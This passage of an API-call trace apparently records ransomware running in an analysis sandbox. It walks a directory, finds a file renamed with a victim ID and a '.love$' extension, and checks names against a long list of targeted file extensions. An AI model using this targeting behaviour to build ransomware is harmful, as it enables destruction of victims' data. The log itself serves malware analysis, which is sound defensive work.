ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1 [0282.911] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0282.911] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0282.912] lstrlenW (lpString="Logs") returned 4 [0282.912] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0282.912] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xfffe) returned 0x3740078 [0282.912] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0282.912] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x2e7f800 | out: lpFindFileData=0x2e7f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x543c90 [0282.913] FindNextFileW (in: hFindFile=0x543c90, lpFindFileData=0x2e7f800 | out: lpFindFileData=0x2e7f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0282.914] FindNextFileW (in: hFindFile=0x543c90, lpFindFileData=0x2e7f800 | out: lpFindFileData=0x2e7f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3fafc2f, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa3fafc2f, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa3fd5d27, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xa7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="DOWNLE~1.LOV")) returned 1 [0282.914] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[im.online@aol.com].love$") returned 75 [0282.914] lstrlenW (lpString=".1cd") returned 4 [0282.914] lstrcmpiW (lpString1=".1cd", lpString2="ove$") returned -1 [0282.914] lstrlenW (lpString=".3ds") returned 4 [0282.914] lstrcmpiW (lpString1=".3ds", lpString2="ove$") returned -1 [0282.914] lstrlenW (lpString=".3fr") returned 4 [0282.914] lstrcmpiW (lpString1=".3fr", lpString2="ove$") returned -1 [0282.914] lstrlenW (lpString=".3g2") returned 4 [0282.914] lstrcmpiW (lpString1=".3g2", lpString2="ove$") returned -1 [0282.914] lstrlenW (lpString=".3gp") returned 4 [0282.914] lstrcmpiW (lpString1=".3gp", lpString2="ove$") returned -1 [0282.914] lstrlenW (lpString=".7z") returned 3 [0282.914] lstrcmpiW (lpString1=".7z", lpString2="ve$") returned -1 [0282.914] lstrlenW (lpString=".accda") returned 6 [0282.914] lstrcmpiW (lpString1=".accda", lpString2=".love$") returned -1 [0282.914] lstrlenW (lpString=".accdb") returned 6 [0282.914] lstrcmpiW (lpString1=".accdb", lpString2=".love$") returned -1 [0282.914] lstrlenW (lpString=".accdc") returned 6 [0282.914] lstrcmpiW (lpString1=".accdc", lpString2=".love$") returned -1 [0282.914] lstrlenW (lpString=".accde") returned 6 [0282.914] lstrcmpiW (lpString1=".accde", lpString2=".love$") returned -1 [0282.914] lstrlenW (lpString=".accdt") returned 6 [0282.914] lstrcmpiW (lpString1=".accdt", lpString2=".love$") returned -1 [0282.914] lstrlenW (lpString=".accdw") returned 6 [0282.914] lstrcmpiW (lpString1=".accdw", lpString2=".love$") returned -1 [0282.914] lstrlenW (lpString=".adb") returned 4 [0282.915] lstrcmpiW (lpString1=".adb", lpString2="ove$") returned -1 [0282.915] lstrlenW (lpString=".adp") returned 4 [0282.915] lstrcmpiW (lpString1=".adp", lpString2="ove$") returned -1 [0282.915] lstrlenW (lpString=".ai") returned 3 [0282.915] lstrcmpiW (lpString1=".ai", lpString2="ve$") returned -1 [0282.915] lstrlenW (lpString=".ai3") returned 4 [0282.915] lstrcmpiW (lpString1=".ai3", lpString2="ove$") returned -1 [0282.915] lstrlenW (lpString=".ai4") returned 4 [0282.915] lstrcmpiW (lpString1=".ai4", lpString2="ove$") returned -1 [0282.915] lstrlenW (lpString=".ai5") returned 4 [0282.915] lstrcmpiW (lpString1=".ai5", lpString2="ove$") returned -1 [0282.915] lstrlenW (lpString=".ai6") returned 4 [0282.915] lstrcmpiW (lpString1=".ai6", lpString2="ove$") returned -1 [0282.915] lstrlenW (lpString=".ai7") returned 4 [0282.915] lstrcmpiW (lpString1=".ai7", lpString2="ove$") returned -1 [0282.915] lstrlenW (lpString=".ai8") returned 4 [0282.915] lstrcmpiW (lpString1=".ai8", lpString2="ove$") returned -1 [0282.915] lstrlenW (lpString=".anim") returned 5 [0282.915] lstrcmpiW (lpString1=".anim", lpString2="love$") returned -1 [0282.915] lstrlenW (lpString=".arw") returned 4 [0282.915] lstrcmpiW (lpString1=".arw", lpString2="ove$") returned -1 [0282.915] lstrlenW (lpString=".as") returned 3 [0282.915] lstrcmpiW (lpString1=".as", lpString2="ve$") returned -1 [0282.915] lstrlenW (lpString=".asa") returned 4 [0282.915] lstrcmpiW (lpString1=".asa", lpString2="ove$") returned -1 [0282.915] lstrlenW (lpString=".asc") returned 4 [0282.915] lstrcmpiW (lpString1=".asc", lpString2="ove$") returned -1 [0282.915] lstrlenW (lpString=".ascx") returned 5 [0282.916] lstrcmpiW (lpString1=".ascx", lpString2="love$") returned -1 [0282.916] lstrlenW (lpString=".asm") returned 4 [0282.916] lstrcmpiW (lpString1=".asm", lpString2="ove$") returned -1 [0282.916] lstrlenW (lpString=".asmx") returned 5 [0282.916] lstrcmpiW (lpString1=".asmx", lpString2="love$") returned -1 [0282.916] lstrlenW (lpString=".asp") returned 4 [0282.916] lstrcmpiW (lpString1=".asp", lpString2="ove$") returned -1 [0282.916] lstrlenW (lpString=".aspx") returned 5 [0282.916] lstrcmpiW (lpString1=".aspx", lpString2="love$") returned -1 [0282.916] lstrlenW (lpString=".asr") returned 4 [0282.916] lstrcmpiW (lpString1=".asr", lpString2="ove$") returned -1 [0282.916] lstrlenW (lpString=".asx") returned 4 [0282.916] lstrcmpiW (lpString1=".asx", lpString2="ove$") returned -1 [0282.916] lstrlenW (lpString=".avi") returned 4 [0282.916] lstrcmpiW (lpString1=".avi", lpString2="ove$") returned -1 [0282.916] lstrlenW (lpString=".avs") returned 4 [0282.916] lstrcmpiW (lpString1=".avs", lpString2="ove$") returned -1 [0282.916] lstrlenW (lpString=".backup") returned 7 [0282.916] lstrcmpiW (lpString1=".backup", lpString2="].love$") returned -1 [0282.916] lstrlenW (lpString=".bak") returned 4 [0282.916] lstrcmpiW (lpString1=".bak", lpString2="ove$") returned -1 [0282.916] lstrlenW (lpString=".bay") returned 4 [0282.916] lstrcmpiW (lpString1=".bay", lpString2="ove$") returned -1 [0282.916] lstrlenW (lpString=".bd") returned 3 [0282.916] lstrcmpiW (lpString1=".bd", lpString2="ve$") returned -1 [0282.916] lstrlenW (lpString=".bin") returned 4 [0282.916] lstrcmpiW (lpString1=".bin", lpString2="ove$") returned -1 [0282.917] lstrlenW (lpString=".bmp") returned 4 [0282.917] lstrcmpiW (lpString1=".bmp", lpString2="ove$") returned -1 [0282.917] lstrlenW (lpString=".bz2") returned 4 [0282.917] lstrcmpiW (lpString1=".bz2", lpString2="ove$") returned -1 [0282.917] lstrlenW (lpString=".c") returned 2 [0282.917] lstrcmpiW (lpString1=".c", lpString2="e$") returned -1 [0282.917] lstrlenW (lpString=".cdr") returned 4 [0282.917] lstrcmpiW (lpString1=".cdr", lpString2="ove$") returned -1 [0282.917] lstrlenW (lpString=".cer") returned 4 [0282.917] lstrcmpiW (lpString1=".cer", lpString2="ove$") returned -1 [0282.917] lstrlenW (lpString=".cf") returned 3 [0282.917] lstrcmpiW (lpString1=".cf", lpString2="ve$") returned -1 [0282.917] lstrlenW (lpString=".cfc") returned 4 [0282.917] lstrcmpiW (lpString1=".cfc", lpString2="ove$") returned -1 [0282.917] lstrlenW (lpString=".cfm") returned 4 [0282.917] lstrcmpiW (lpString1=".cfm", lpString2="ove$") returned -1 [0282.917] lstrlenW (lpString=".cfml") returned 5 [0282.917] lstrcmpiW (lpString1=".cfml", lpString2="love$") returned -1 [0282.917] lstrlenW (lpString=".cfu") returned 4 [0282.917] lstrcmpiW (lpString1=".cfu", lpString2="ove$") returned -1 [0282.917] lstrlenW (lpString=".chm") returned 4 [0282.917] lstrcmpiW (lpString1=".chm", lpString2="ove$") returned -1 [0282.917] lstrlenW (lpString=".cin") returned 4 [0282.917] lstrcmpiW (lpString1=".cin", lpString2="ove$") returned -1 [0282.917] lstrlenW (lpString=".class") returned 6 [0282.917] lstrcmpiW (lpString1=".class", lpString2=".love$") returned -1 [0282.917] lstrlenW (lpString=".clx") returned 4 [0282.917] lstrcmpiW (lpString1=".clx", lpString2="ove$") returned -1 [0282.918] lstrlenW (lpString=".config") returned 7 [0282.918] lstrcmpiW (lpString1=".config", lpString2="].love$") returned -1 [0282.918] lstrlenW (lpString=".cpp") returned 4 [0282.918] lstrcmpiW (lpString1=".cpp", lpString2="ove$") returned -1 [0282.918] lstrlenW (lpString=".cr2") returned 4 [0282.918] lstrcmpiW (lpString1=".cr2", lpString2="ove$") returned -1 [0282.918] lstrlenW (lpString=".crt") returned 4 [0282.918] lstrcmpiW (lpString1=".crt", lpString2="ove$") returned -1 [0282.918] lstrlenW (lpString=".crw") returned 4 [0282.918] lstrcmpiW (lpString1=".crw", lpString2="ove$") returned -1 [0282.918] lstrlenW (lpString=".cs") returned 3 [0282.918] lstrcmpiW (lpString1=".cs", lpString2="ve$") returned -1 [0282.918] lstrlenW (lpString=".css") returned 4 [0282.918] lstrcmpiW (lpString1=".css", lpString2="ove$") returned -1 [0282.918] lstrlenW (lpString=".csv") returned 4 [0282.918] lstrcmpiW (lpString1=".csv", lpString2="ove$") returned -1 [0282.918] lstrlenW (lpString=".cub") returned 4 [0282.918] lstrcmpiW (lpString1=".cub", lpString2="ove$") returned -1 [0282.918] lstrlenW (lpString=".dae") returned 4 [0282.918] lstrcmpiW (lpString1=".dae", lpString2="ove$") returned -1 [0282.918] lstrlenW (lpString=".dat") returned 4 [0282.918] lstrcmpiW (lpString1=".dat", lpString2="ove$") returned -1 [0282.918] lstrlenW (lpString=".db") returned 3 [0282.918] lstrcmpiW (lpString1=".db", lpString2="ve$") returned -1 [0282.918] lstrlenW (lpString=".dbf") returned 4 [0282.918] lstrcmpiW (lpString1=".dbf", lpString2="ove$") returned -1 [0282.918] lstrlenW (lpString=".dbx") returned 4 [0282.918] lstrcmpiW (lpString1=".dbx", lpString2="ove$") returned -1 [0282.919] lstrlenW (lpString=".dc3") returned 4 [0282.919] lstrcmpiW (lpString1=".dc3", lpString2="ove$") returned -1 [0282.919] lstrlenW (lpString=".dcm") returned 4 [0282.919] lstrcmpiW (lpString1=".dcm", lpString2="ove$") returned -1 [0282.919] lstrlenW (lpString=".dcr") returned 4 [0282.919] lstrcmpiW (lpString1=".dcr", lpString2="ove$") returned -1 [0282.919] lstrlenW (lpString=".der") returned 4 [0282.919] lstrcmpiW (lpString1=".der", lpString2="ove$") returned -1 [0282.919] lstrlenW (lpString=".dib") returned 4 [0282.919] lstrcmpiW (lpString1=".dib", lpString2="ove$") returned -1 [0282.919] lstrlenW (lpString=".dic") returned 4 [0282.919] lstrcmpiW (lpString1=".dic", lpString2="ove$") returned -1 [0282.919] lstrlenW (lpString=".dif") returned 4 [0282.919] lstrcmpiW (lpString1=".dif", lpString2="ove$") returned -1 [0282.919] lstrlenW (lpString=".divx") returned 5 [0282.919] lstrcmpiW (lpString1=".divx", lpString2="love$") returned -1 [0282.919] lstrlenW (lpString=".djvu") returned 5 [0282.919] lstrcmpiW (lpString1=".djvu", lpString2="love$") returned -1 [0282.919] lstrlenW (lpString=".dng") returned 4 [0282.919] lstrcmpiW (lpString1=".dng", lpString2="ove$") returned -1 [0282.919] lstrlenW (lpString=".doc") returned 4 [0282.919] lstrcmpiW (lpString1=".doc", lpString2="ove$") returned -1 [0282.919] lstrlenW (lpString=".docm") returned 5 [0282.919] lstrcmpiW (lpString1=".docm", lpString2="love$") returned -1 [0282.919] lstrlenW (lpString=".docx") returned 5 [0282.919] lstrcmpiW (lpString1=".docx", lpString2="love$") returned -1 [0282.919] lstrlenW (lpString=".dot") returned 4 [0282.919] lstrcmpiW (lpString1=".dot", lpString2="ove$") returned -1 [0282.920] lstrlenW (lpString=".dotm") returned 5 [0282.920] lstrcmpiW (lpString1=".dotm", lpString2="love$") returned -1 [0282.920] lstrlenW (lpString=".dotx") returned 5 [0282.920] lstrcmpiW (lpString1=".dotx", lpString2="love$") returned -1 [0282.920] lstrlenW (lpString=".dpx") returned 4 [0282.920] lstrcmpiW (lpString1=".dpx", lpString2="ove$") returned -1 [0282.920] lstrlenW (lpString=".dqy") returned 4 [0282.920] lstrcmpiW (lpString1=".dqy", lpString2="ove$") returned -1 [0282.920] lstrlenW (lpString=".dsn") returned 4 [0282.920] lstrcmpiW (lpString1=".dsn", lpString2="ove$") returned -1 [0282.920] lstrlenW (lpString=".dt") returned 3 [0282.920] lstrcmpiW (lpString1=".dt", lpString2="ve$") returned -1 [0282.920] lstrlenW (lpString=".dtd") returned 4 [0282.920] lstrcmpiW (lpString1=".dtd", lpString2="ove$") returned -1 [0282.920] lstrlenW (lpString=".dwg") returned 4 [0282.920] lstrcmpiW (lpString1=".dwg", lpString2="ove$") returned -1 [0282.920] lstrlenW (lpString=".dwt") returned 4 [0282.920] lstrcmpiW (lpString1=".dwt", lpString2="ove$") returned -1 [0282.920] lstrlenW (lpString=".dx") returned 3 [0282.920] lstrcmpiW (lpString1=".dx", lpString2="ve$") returned -1 [0282.920] lstrlenW (lpString=".dxf") returned 4 [0282.920] lstrcmpiW (lpString1=".dxf", lpString2="ove$") returned -1 [0282.920] lstrlenW (lpString=".edml") returned 5 [0282.920] lstrcmpiW (lpString1=".edml", lpString2="love$") returned -1 [0282.920] lstrlenW (lpString=".efd") returned 4 [0282.920] lstrcmpiW (lpString1=".efd", lpString2="ove$") returned -1 [0282.920] lstrlenW (lpString=".elf") returned 4 [0282.920] lstrcmpiW (lpString1=".elf", lpString2="ove$") returned -1 [0282.920] lstrlenW (lpString=".emf") returned 4 [0282.921] lstrcmpiW (lpString1=".emf", lpString2="ove$") returned -1 [0282.921] lstrlenW (lpString=".emz") returned 4 [0282.921] lstrcmpiW (lpString1=".emz", lpString2="ove$") returned -1 [0282.921] lstrlenW (lpString=".epf") returned 4 [0282.921] lstrcmpiW (lpString1=".epf", lpString2="ove$") returned -1 [0282.921] lstrlenW (lpString=".eps") returned 4 [0282.921] lstrcmpiW (lpString1=".eps", lpString2="ove$") returned -1 [0282.921] lstrlenW (lpString=".epsf") returned 5 [0282.921] lstrcmpiW (lpString1=".epsf", lpString2="love$") returned -1 [0282.921] lstrlenW (lpString=".epsp") returned 5 [0282.921] lstrcmpiW (lpString1=".epsp", lpString2="love$") returned -1 [0282.921] lstrlenW (lpString=".erf") returned 4 [0282.921] lstrcmpiW (lpString1=".erf", lpString2="ove$") returned -1 [0282.921] lstrlenW (lpString=".exr") returned 4 [0282.921] lstrcmpiW (lpString1=".exr", lpString2="ove$") returned -1 [0282.921] lstrlenW (lpString=".f4v") returned 4 [0282.921] lstrcmpiW (lpString1=".f4v", lpString2="ove$") returned -1 [0282.921] lstrlenW (lpString=".fido") returned 5 [0282.921] lstrcmpiW (lpString1=".fido", lpString2="love$") returned -1 [0282.921] lstrlenW (lpString=".flm") returned 4 [0282.921] lstrcmpiW (lpString1=".flm", lpString2="ove$") returned -1 [0282.921] lstrlenW (lpString=".flv") returned 4 [0282.921] lstrcmpiW (lpString1=".flv", lpString2="ove$") returned -1 [0282.921] lstrlenW (lpString=".frm") returned 4 [0282.921] lstrcmpiW (lpString1=".frm", lpString2="ove$") returned -1 [0282.921] lstrlenW (lpString=".fxg") returned 4 [0282.921] lstrcmpiW (lpString1=".fxg", lpString2="ove$") returned -1 [0282.921] lstrlenW (lpString=".geo") returned 4 [0282.921] lstrcmpiW (lpString1=".geo", lpString2="ove$") returned -1 [0282.922] lstrlenW (lpString=".gif") returned 4 [0282.922] lstrcmpiW (lpString1=".gif", lpString2="ove$") returned -1 [0282.922] lstrlenW (lpString=".grs") returned 4 [0282.922] lstrcmpiW (lpString1=".grs", lpString2="ove$") returned -1 [0282.922] lstrlenW (lpString=".gz") returned 3 [0282.922] lstrcmpiW (lpString1=".gz", lpString2="ve$") returned -1 [0282.922] lstrlenW (lpString=".h") returned 2 [0282.922] lstrcmpiW (lpString1=".h", lpString2="e$") returned -1 [0282.922] lstrlenW (lpString=".hdr") returned 4 [0282.922] lstrcmpiW (lpString1=".hdr", lpString2="ove$") returned -1 [0282.922] lstrlenW (lpString=".hpp") returned 4 [0282.922] lstrcmpiW (lpString1=".hpp", lpString2="ove$") returned -1 [0282.922] lstrlenW (lpString=".hta") returned 4 [0282.922] lstrcmpiW (lpString1=".hta", lpString2="ove$") returned -1 [0282.922] lstrlenW (lpString=".htc") returned 4 [0282.922] lstrcmpiW (lpString1=".htc", lpString2="ove$") returned -1 [0282.922] lstrlenW (lpString=".htm") returned 4 [0282.922] lstrcmpiW (lpString1=".htm", lpString2="ove$") returned -1 [0282.922] lstrlenW (lpString=".html") returned 5 [0282.922] lstrcmpiW (lpString1=".html", lpString2="love$") returned -1 [0282.922] lstrlenW (lpString=".icb") returned 4 [0282.922] lstrcmpiW (lpString1=".icb", lpString2="ove$") returned -1 [0282.922] lstrlenW (lpString=".ics") returned 4 [0282.922] lstrcmpiW (lpString1=".ics", lpString2="ove$") returned -1 [0282.922] lstrlenW (lpString=".iff") returned 4 [0282.922] lstrcmpiW (lpString1=".iff", lpString2="ove$") returned -1 [0282.922] lstrlenW (lpString=".inc") returned 4 [0282.922] lstrcmpiW (lpString1=".inc", lpString2="ove$") returned -1 [0282.923] lstrlenW (lpString=".indd") returned 5 [0282.923] lstrcmpiW (lpString1=".indd", lpString2="love$") returned -1 [0282.923] lstrlenW (lpString=".ini") returned 4 [0282.923] lstrcmpiW (lpString1=".ini", lpString2="ove$") returned -1 [0282.923] lstrlenW (lpString=".iqy") returned 4 [0282.923] lstrcmpiW (lpString1=".iqy", lpString2="ove$") returned -1 [0282.923] lstrlenW (lpString=".j2c") returned 4 [0282.923] lstrcmpiW (lpString1=".j2c", lpString2="ove$") returned -1 [0282.923] lstrlenW (lpString=".j2k") returned 4 [0282.923] lstrcmpiW (lpString1=".j2k", lpString2="ove$") returned -1 [0282.923] lstrlenW (lpString=".java") returned 5 [0282.923] lstrcmpiW (lpString1=".java", lpString2="love$") returned -1 [0282.923] lstrlenW (lpString=".jp2") returned 4 [0282.923] lstrcmpiW (lpString1=".jp2", lpString2="ove$") returned -1 [0282.924] lstrlenW (lpString=".jpc") returned 4 [0282.924] lstrcmpiW (lpString1=".jpc", lpString2="ove$") returned -1 [0282.924] lstrlenW (lpString=".jpe") returned 4 [0282.924] lstrcmpiW (lpString1=".jpe", lpString2="ove$") returned -1 [0282.924] lstrlenW (lpString=".jpeg") returned 5 [0282.924] lstrcmpiW (lpString1=".jpeg", lpString2="love$") returned -1 [0282.924] lstrlenW (lpString=".jpf") returned 4 [0282.924] lstrcmpiW (lpString1=".jpf", lpString2="ove$") returned -1 [0282.924] lstrlenW (lpString=".jpg") returned 4 [0282.924] lstrcmpiW (lpString1=".jpg", lpString2="ove$") returned -1 [0282.924] lstrlenW (lpString=".jpx") returned 4 [0282.924] lstrcmpiW (lpString1=".jpx", lpString2="ove$") returned -1 [0282.924] lstrlenW (lpString=".js") returned 3 [0282.924] lstrcmpiW (lpString1=".js", lpString2="ve$") returned -1 [0282.924] lstrlenW (lpString=".jsf") returned 4 [0282.924] lstrcmpiW (lpString1=".jsf", lpString2="ove$") returned -1 [0282.924] lstrlenW (lpString=".json") returned 5 [0282.924] lstrcmpiW (lpString1=".json", lpString2="love$") returned -1 [0282.924] lstrlenW (lpString=".jsp") returned 4 [0282.924] lstrcmpiW (lpString1=".jsp", lpString2="ove$") returned -1 [0282.924] lstrlenW (lpString=".kdc") returned 4 [0282.924] lstrcmpiW (lpString1=".kdc", lpString2="ove$") returned -1 [0282.924] lstrlenW (lpString=".kmz") returned 4 [0282.924] lstrcmpiW (lpString1=".kmz", lpString2="ove$") returned -1 [0282.924] lstrlenW (lpString=".kwm") returned 4 [0282.924] lstrcmpiW (lpString1=".kwm", lpString2="ove$") returned -1 [0282.924] lstrlenW (lpString=".lasso") returned 6 [0282.924] lstrcmpiW (lpString1=".lasso", lpString2=".love$") returned -1 [0282.924] lstrlenW (lpString=".lbi") returned 4 [0282.925] lstrcmpiW (lpString1=".lbi", lpString2="ove$") returned -1 [0282.925] lstrlenW (lpString=".lgf") returned 4 [0282.925] lstrcmpiW (lpString1=".lgf", lpString2="ove$") returned -1 [0282.925] lstrlenW (lpString=".lgp") returned 4 [0282.925] lstrcmpiW (lpString1=".lgp", lpString2="ove$") returned -1 [0282.925] lstrlenW (lpString=".log") returned 4 [0282.925] lstrcmpiW (lpString1=".log", lpString2="ove$") returned -1 [0282.925] lstrlenW (lpString=".m1v") returned 4 [0282.925] lstrcmpiW (lpString1=".m1v", lpString2="ove$") returned -1 [0282.925] lstrlenW (lpString=".m4a") returned 4 [0282.925] lstrcmpiW (lpString1=".m4a", lpString2="ove$") returned -1 [0282.925] lstrlenW (lpString=".m4v") returned 4 [0282.925] lstrcmpiW (lpString1=".m4v", lpString2="ove$") returned -1 [0282.925] lstrlenW (lpString=".max") returned 4 [0282.925] lstrcmpiW (lpString1=".max", lpString2="ove$") returned -1 [0282.925] lstrlenW (lpString=".md") returned 3 [0282.925] lstrcmpiW (lpString1=".md", lpString2="ve$") returned -1 [0282.925] lstrlenW (lpString=".mda") returned 4 [0282.925] lstrcmpiW (lpString1=".mda", lpString2="ove$") returned -1 [0282.925] lstrlenW (lpString=".mdb") returned 4 [0282.925] lstrcmpiW (lpString1=".mdb", lpString2="ove$") returned -1 [0282.925] lstrlenW (lpString=".mde") returned 4 [0282.925] lstrcmpiW (lpString1=".mde", lpString2="ove$") returned -1 [0282.925] lstrlenW (lpString=".mdf") returned 4 [0282.925] lstrcmpiW (lpString1=".mdf", lpString2="ove$") returned -1 [0282.925] lstrlenW (lpString=".mdw") returned 4 [0282.925] lstrcmpiW (lpString1=".mdw", lpString2="ove$") returned -1 [0282.925] lstrlenW (lpString=".mef") returned 4 [0282.926] lstrcmpiW (lpString1=".mef", lpString2="ove$") returned -1 [0282.926] lstrlenW (lpString=".mft") returned 4 [0282.926] lstrcmpiW (lpString1=".mft", lpString2="ove$") returned -1 [0282.926] lstrlenW (lpString=".mfw") returned 4 [0282.926] lstrcmpiW (lpString1=".mfw", lpString2="ove$") returned -1 [0282.926] lstrlenW (lpString=".mht") returned 4 [0282.926] lstrcmpiW (lpString1=".mht", lpString2="ove$") returned -1 [0282.926] lstrlenW (lpString=".mhtml") returned 6 [0282.926] lstrcmpiW (lpString1=".mhtml", lpString2=".love$") returned 1 [0282.926] lstrlenW (lpString=".mka") returned 4 [0282.926] lstrcmpiW (lpString1=".mka", lpString2="ove$") returned -1 [0282.926] lstrlenW (lpString=".mkidx") returned 6 [0282.926] lstrcmpiW (lpString1=".mkidx", lpString2=".love$") returned 1 [0282.926] lstrlenW (lpString=".mkv") returned 4 [0282.926] lstrcmpiW (lpString1=".mkv", lpString2="ove$") returned -1 [0282.926] lstrlenW (lpString=".mos") returned 4 [0282.926] lstrcmpiW (lpString1=".mos", lpString2="ove$") returned -1 [0282.926] lstrlenW (lpString=".mov") returned 4 [0282.926] lstrcmpiW (lpString1=".mov", lpString2="ove$") returned -1 [0282.926] lstrlenW (lpString=".mp3") returned 4 [0282.926] lstrcmpiW (lpString1=".mp3", lpString2="ove$") returned -1 [0282.926] lstrlenW (lpString=".mp4") returned 4 [0282.926] lstrcmpiW (lpString1=".mp4", lpString2="ove$") returned -1 [0282.926] lstrlenW (lpString=".mpeg") returned 5 [0282.926] lstrcmpiW (lpString1=".mpeg", lpString2="love$") returned -1 [0282.926] lstrlenW (lpString=".mpg") returned 4 [0282.926] lstrcmpiW (lpString1=".mpg", lpString2="ove$") returned -1 [0282.926] lstrlenW (lpString=".mpv") returned 4 [0282.927] lstrcmpiW (lpString1=".mpv", lpString2="ove$") returned -1 [0282.927] lstrlenW (lpString=".mrw") returned 4 [0282.927] lstrcmpiW (lpString1=".mrw", lpString2="ove$") returned -1 [0282.927] lstrlenW (lpString=".msg") returned 4 [0282.927] lstrcmpiW (lpString1=".msg", lpString2="ove$") returned -1 [0282.927] lstrlenW (lpString=".mxl") returned 4 [0282.927] lstrcmpiW (lpString1=".mxl", lpString2="ove$") returned -1 [0282.927] lstrlenW (lpString=".myd") returned 4 [0282.927] lstrcmpiW (lpString1=".myd", lpString2="ove$") returned -1 [0282.927] lstrlenW (lpString=".myi") returned 4 [0282.927] lstrcmpiW (lpString1=".myi", lpString2="ove$") returned -1 [0282.927] lstrlenW (lpString=".nef") returned 4 [0282.927] lstrcmpiW (lpString1=".nef", lpString2="ove$") returned -1 [0282.927] lstrlenW (lpString=".nrw") returned 4 [0282.927] lstrcmpiW (lpString1=".nrw", lpString2="ove$") returned -1 [0282.927] lstrlenW (lpString=".obj") returned 4 [0282.927] lstrcmpiW (lpString1=".obj", lpString2="ove$") returned -1 [0282.927] lstrlenW (lpString=".odb") returned 4 [0282.927] lstrcmpiW (lpString1=".odb", lpString2="ove$") returned -1 [0282.927] lstrlenW (lpString=".odc") returned 4 [0282.927] lstrcmpiW (lpString1=".odc", lpString2="ove$") returned -1 [0282.927] lstrlenW (lpString=".odm") returned 4 [0282.927] lstrcmpiW (lpString1=".odm", lpString2="ove$") returned -1 [0282.927] lstrlenW (lpString=".odp") returned 4 [0282.927] lstrcmpiW (lpString1=".odp", lpString2="ove$") returned -1 [0282.927] lstrlenW (lpString=".ods") returned 4 [0282.927] lstrcmpiW (lpString1=".ods", lpString2="ove$") returned -1 [0282.927] lstrlenW (lpString=".oft") returned 4 [0282.928] lstrcmpiW (lpString1=".oft", lpString2="ove$") returned -1 [0282.928] lstrlenW (lpString=".one") returned 4 [0282.928] lstrcmpiW (lpString1=".one", lpString2="ove$") returned -1 [0282.928] lstrlenW (lpString=".onepkg") returned 7 [0282.928] lstrcmpiW (lpString1=".onepkg", lpString2="].love$") returned -1 [0282.928] lstrlenW (lpString=".onetoc2") returned 8 [0282.928] lstrcmpiW (lpString1=".onetoc2", lpString2="m].love$") returned -1 [0282.928] lstrlenW (lpString=".opt") returned 4 [0282.928] lstrcmpiW (lpString1=".opt", lpString2="ove$") returned -1 [0282.928] lstrlenW (lpString=".oqy") returned 4 [0282.928] lstrcmpiW (lpString1=".oqy", lpString2="ove$") returned -1 [0282.928] lstrlenW (lpString=".orf") returned 4 [0282.928] lstrcmpiW (lpString1=".orf", lpString2="ove$") returned -1 [0282.928] lstrlenW (lpString=".p12") returned 4 [0282.928] lstrcmpiW (lpString1=".p12", lpString2="ove$") returned -1 [0282.928] lstrlenW (lpString=".p7b") returned 4 [0282.928] lstrcmpiW (lpString1=".p7b", lpString2="ove$") returned -1 [0282.928] lstrlenW (lpString=".p7c") returned 4 [0282.928] lstrcmpiW (lpString1=".p7c", lpString2="ove$") returned -1 [0282.928] lstrlenW (lpString=".pam") returned 4 [0282.928] lstrcmpiW (lpString1=".pam", lpString2="ove$") returned -1 [0282.928] lstrlenW (lpString=".pbm") returned 4 [0282.928] lstrcmpiW (lpString1=".pbm", lpString2="ove$") returned -1 [0282.928] lstrlenW (lpString=".pct") returned 4 [0282.928] lstrcmpiW (lpString1=".pct", lpString2="ove$") returned -1 [0282.928] lstrlenW (lpString=".pcx") returned 4 [0282.928] lstrcmpiW (lpString1=".pcx", lpString2="ove$") returned -1 [0282.928] lstrlenW (lpString=".pdd") returned 4 [0282.929] lstrcmpiW (lpString1=".pdd", lpString2="ove$") returned -1 [0282.929] lstrlenW (lpString=".pdf") returned 4 [0282.929] lstrcmpiW (lpString1=".pdf", lpString2="ove$") returned -1 [0282.929] lstrlenW (lpString=".pdp") returned 4 [0282.929] lstrcmpiW (lpString1=".pdp", lpString2="ove$") returned -1 [0282.929] lstrlenW (lpString=".pef") returned 4 [0282.929] lstrcmpiW (lpString1=".pef", lpString2="ove$") returned -1 [0282.929] lstrlenW (lpString=".pem") returned 4 [0282.929] lstrcmpiW (lpString1=".pem", lpString2="ove$") returned -1 [0282.929] lstrlenW (lpString=".pff") returned 4 [0282.929] lstrcmpiW (lpString1=".pff", lpString2="ove$") returned -1 [0282.929] lstrlenW (lpString=".pfm") returned 4 